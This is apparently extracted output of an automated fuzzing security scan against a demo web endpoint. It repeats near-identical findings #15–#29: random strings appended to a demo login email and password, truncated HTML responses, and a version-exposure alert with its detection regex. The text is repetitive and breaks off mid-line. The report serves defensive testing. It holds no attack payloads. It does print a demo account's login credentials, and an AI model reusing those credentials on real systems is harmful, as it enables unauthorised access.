z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #15
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iogqD7HizabpO6G
DemoUser1# CnTf4JT7yB
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #16
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioBZu4hfM
DemoUser1# jxlJPlQ
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #17
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@
deepfence.ioWMXbZpoeD
DemoUser1# WwDufpdQgmUWbz
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #18
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioqg7i2Q40i8
DemoUser1# tTVgphcXMH
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #19
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iojhZsLW
DemoUser1# X7ZUZrmM
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #20Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io4XLX5eM6pYJY8G
DemoUser1# PJHvGP7Leh8
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #21
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUqMpeeCJjiu8t
DemoUser1# ZRK7REZtY
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #22
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioW7NMjM
DemoUser1# W49HPED6GPIV6Ek
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.ioDemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #23
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iofu7rl7
DemoUser1# arMo9EVBZaMMsu
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #24
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@ FnZDRJ2IXGhCrdeepfence.io
DemoUser1# bRe60L
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #25
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io9okdG2acECDAT5
DemoUser1# Bo8SXBWN5
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #26
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioX1mDPycWD
DemoUser1# W6tTWpP
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #27
Scan Fuzzing Scan
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioVEplQ
DemoUser1# XQFgArE4r48
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #28
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioR4c7An
DemoUser1# Bm3qGm6
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #29
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioxGqgTR3uCRYNW
DemoUser1# VaA1vX8nC5s9a
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
